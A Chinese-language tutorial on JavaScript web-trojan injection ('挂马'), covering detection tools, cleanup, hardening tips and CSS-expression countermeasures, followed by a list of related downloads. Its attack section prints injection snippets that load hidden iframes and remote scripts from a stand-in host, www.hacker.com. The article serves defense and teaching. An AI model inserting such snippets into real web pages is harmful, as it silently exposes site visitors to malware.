`

js挂马分析及处理方法

阅读更多

js挂马分析及处理方法

在网站优化设计当中,检测网页木马也是很重要的一项工作,目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的。本文主要介绍网页挂马的种类、如何检测网页是否被挂马、如何清除网页木马。如何防止网页被挂马。 
  1:网页挂马的种类.

  目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的。

  卢松松以前做过的‘极品源码下载站’就遇到过JS挂马

  ‘校园闹翻天论坛’就遇到用户提权,利用动网程序漏洞(上传附件漏洞)拥有网站管理员权限。删了论坛几千条数据,一千多位会员的ID

  2:如何检测网页是否被挂马。

  (1):专业检测工具,六款免费网页安全检测工具横向测评(华军软件园)

  (2):google检测,或者可以利用Google搜索你的网站、博客进行检测。如果有网站有木马则google会在搜索列表的下方提示该网站有不安全因素。

  (3):杀毒软件检测,常用的杀毒软件也可以检测出来。

  (4):人工检测,打开你的网站、博客,点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

  (5):使用McAfee SiteAdvisor安全浏览网页的插件。

  


  3:如何清除网页木马。

  一旦中了网页木马,就看那些文件是最近修改过的,主要查看这些新文件,(从FTP中可以查看文件最近修改时间。)然后进入源文件把相关的网页挂马种类的可疑代码删除。

  如果你对你所使用的网站、博客程序不熟悉,建议删除所有文件(数据库、图片、文档、程序模板主题等文件夹可以保留)

  4:如何防止网页被挂马。如果你的网站还没有被挂马,请从预防开始吧。

  (1):对网友开放上传附件功能的网站一定要进行身份认证,并只允许信任的人使用上传程序。

  (2):保证你所使用的程序及时的更新。

  (3):不要在前台网页上加注后台管理程序登陆页面的链接。

  (4):要时常备份数据库等重要文件,但不要把备份数据库放在程序默认的备份目录下。

  (5):管理员的用户名和密码要有一定复杂性,不能过于简单。

  (6):IIS中禁止写入和目录禁止执行的功能,二项功能组合,可以有效的防止ASP木马。

  (7):可以在服务器、虚拟主机控制面板,设置执行权限选项中,直接将有上传权限的目录,取消ASP的运行权限。

  (8):创建一个robots.txt上传到网站根目录。Robots能够有效的防范利用搜索引擎窃取信息的骇客
  IFRAME挂马比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。我们下面要介绍反击JS挂马的方法。
JS挂马溯源

  当IFRAME逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。  而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。  小百科:JS脚本是JavaScript脚本语言的简称,它是一种面向对象的脚本语言,目前广泛用于动态网页的编程。需要提示大家的是,JavaScript和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而JavaScript与Jscript也不同,Jscript是微软为了迎战JavaScript推出的脚本语言。  虽然JavaScript作为给非程序人员的脚本语言向大众推广,但是JavaScript是一门具有丰富特性的语言,它有着和其他编程语言一样的复杂性。实际上,你必须对JS有扎实的理解才能用它来编写比较复杂的程序,作为一名安全工程师,掌握JS脚本在工作中会有很大的帮助。
挂马原理一点通

  JS脚本挂马对于黑客而言,可以说优点多得数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入Web页面的方法有几十种,绝对够菜鸟们眼花缭乱,无从辨别木马在何处。  IFRAME挂马相对于安全工程师而言,如同一个穿着鲜红颜色外衣的劫匪,招摇而扎眼,很容易被发现。但是利用JS挂马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在安全工程师搜查时,很容易蒙混过关,导致木马久杀不绝。
JS挂马攻防实录

  攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。
这种方法使用的关键代码如下:

window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 
  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。  另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:<script src="http://www.hacker.com/木马脚本.js"></script>

或者

document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")

就成功地将木马挂到了对方的网页中了。

小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:

<div style="behaviour: url(http://www.hacker.com/木马脚本.js);">

或者:

<iframe src="vbscript:[挂马脚本]">


等等……

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}


  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
<title>让JS挂马中止的CSS代码</title>
<style type="text/css" id="shudoo">
/*<![CDATA[*/
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>

分享到:
评论

相关推荐

    网页挂马分析专家 MDecoder

    综上所述,MDecoder作为一款全面的网页挂马分析工具,其自动化检测、漏洞识别及专业日志生成等多功能集于一体,为网络安全防护领域提供了极大的帮助。它的使用,可以大大提高网络环境的安全性,防止恶意代码对用户...

    一种网页挂马攻击中的重定向混淆检测方法.pdf

    "一种网页挂马攻击中的重定向...本文提出的网页挂马攻击中的JavaScript重定向混淆检测方法可以解决网页挂马攻击中的JavaScript脚本重定向混淆问题,并且可以提高检测效率和可靠性,是一种有效的网页挂马攻击检测方法。

    如何进行网站挂马检测与清除

    如果发现存在恶意代码,可以使用网络搜索引擎来搜索该代码,了解该代码的描述和解决方法等。 在检测到恶意代码后,可以使用Flashget的资源管理器来获取该网站的内容,下载该网站的一些资源,然后进行查看和分析。...

    数据库被挂马的解决办法

    ### 数据库被挂马的解决办法 在当前网络环境下,数据库安全问题日益严峻,其中数据库被挂马(即被植入恶意代码或木马程序)是一种常见的威胁。一旦数据库被挂马,不仅可能导致数据泄露、丢失,还可能进一步危害到...

    挂马的各种方式

    以下将从不同的技术角度来探讨这些挂马方法。 ### 1. iframe 嵌入 这种方法是最常见的一种挂马手段之一。通过在网页中嵌入一个不可见的iframe框架,并将源地址指向包含恶意代码的页面。例如: ```html ***....

    css防挂马

    本文将深入探讨CSS防挂马的基本原理、实现方法以及案例分析。 #### 二、CSS防挂马基本原理 CSS防挂马技术主要是利用CSS中的特殊属性或表达式来检测并阻止恶意脚本的执行。这些技术通常会针对`&lt;iframe&gt;`和`&lt;script&gt;...

    ASP.Net网站数据库被挂马后手动清除一例

    在处理完挂马问题后,我们还需要对整个网站进行性能和安全性审查,确保所有组件都符合最佳实践。同时,建立一套完善的应急响应计划和定期的安全审计,以防止类似事件再次发生。 总的来说,清除ASP.NET网站数据库的...

    数据库挂马修复语句.txt

    本文将深入分析一份名为“数据库挂马修复语句.txt”的文本内容,从中提取出关键知识点,并详细介绍如何通过SQL语句对被挂马的数据库进行修复。 #### 二、理解挂马现象与危害 挂马行为不仅能够使攻击者获取数据库中...

    最新网马分析器MDecoder 开源代码

    1. **理解内部机制**:查看源码,理解其在处理网页挂马时的具体步骤和技术手段。 2. **定制化开发**:根据特定需求,修改或扩展原有功能,构建更适应本地环境的分析工具。 3. **贡献社区**:发现并修复代码中的问题...

    深入分析Javascript跨域问题

    JavaScript中的跨域问题源于浏览器实施的同源...总的来说,解决JavaScript跨域问题需要根据具体需求选择合适的方法,既要考虑安全性,也要考虑兼容性和性能。在实际开发中,通常会结合使用多种策略,以达到最佳效果。

    tdwyymckq.rar

    描述中提到的方法是针对挂马网页的一种处理方式,挂马是指黑客在正常网页中嵌入恶意代码,通常是通过IFRAME标签来实现的。这种恶意代码可以在用户访问网页时在用户的计算机上执行,可能导致数据丢失、隐私泄露或其他...

    信息安全_数据安全_胡珀谈安全运营.pdf

    公司开发了挂马检测系统,采用模拟JavaScript解析执行的方法来判断挂马,这种方法比传统虚拟机方法效率更高。通过对网站样本的分析,他们发现了flash的堆溢出0day漏洞,并及时向官方报告,获得了CVE-2009-1862。这个...

    腾讯哈勃沙箱白皮书(Linux版)

    综上所述,哈勃沙箱是一款强大的安全分析工具,通过结合动态和静态分析方法,以及先进的算法和智能调度,为Linux和Windows环境提供了全面的恶意软件检测能力。其广泛支持的文件格式、深入的分析机制以及高效率的处理...

    日志审计与应急

    ### 日志审计与应急:深度解析与应对策略 #### 一、事件背景及概况 近期,XXXX网站遭遇了...日志审计不仅是应急处理的重要手段,更是预防未来攻击的关键工具,通过持续监测和分析,可以有效预警并防范各类网络威胁。

    关于DOM xss跨站一点点经验.pdf

    2. **源代码分析**:虽然DOM XSS的脚本可能不会直接出现在源代码中,但可以通过检查JavaScript代码来寻找动态生成内容的片段。 3. **使用开发者工具**:如Firefox的Firebug或Chrome的开发者工具,监控网络请求和DOM...

    web木马终结者 v1.0

    总的来说,Web木马终结者 v1.0通过JavaScript和Ajax技术提供了一种动态、高效的网站安全解决方案,通过分析和扫描ASP源码来保护网站免受恶意代码的侵害。它的核心在于识别和清除Web木马,维护网站的正常运行和用户...

    web木马终结者 v1.0.rar

    【标题】"Web木马终结者 v1.0.rar"是一个专门针对网站被挂马问题的解决方案,由开发者根据常见的杀毒软件理念设计并编写。它利用JavaScript编程语言,结合Ajax技术,为用户提供了一种高效且实时的在线扫描工具。 ...

    安全性测试流程介绍-于玉玲.ppt

    【制定方案】阶段,涉及到对系统架构、常见安全问题的分析,例如SQL注入、URL攻击、XSS和JS脚本注入等。此外,还包括异常处理的分析,以确保系统在遇到异常情况时仍能保持安全。 【安全性测试准备】主要包括【手工...

    白帽子讲浏览器安全.钱文祥(带详细书签).pdf

    7.3 一个简单的挂马代码的处理 169 7.3.1 快速判断挂马 169 7.3.2 JS代码的格式化 170 7.4 更为复杂的代码处理:对Angler网马工具包的反混淆 170 7.4.1 Angler EK的特征 170 7.4.2 推理:找出代码中的“解密-...

    GoolagScanner扫描器

    - **挂马检测**:通过分析网页内容,检测是否嵌入了恶意脚本,这些脚本可能会对访问者造成危害。 - **搜索引擎优化(SEO)攻击**:识别出可能被用于提升搜索引擎排名的不正当技术,如隐藏文本、关键字堆砌等。 - *...

Global site tag (gtag.js) - Google Analytics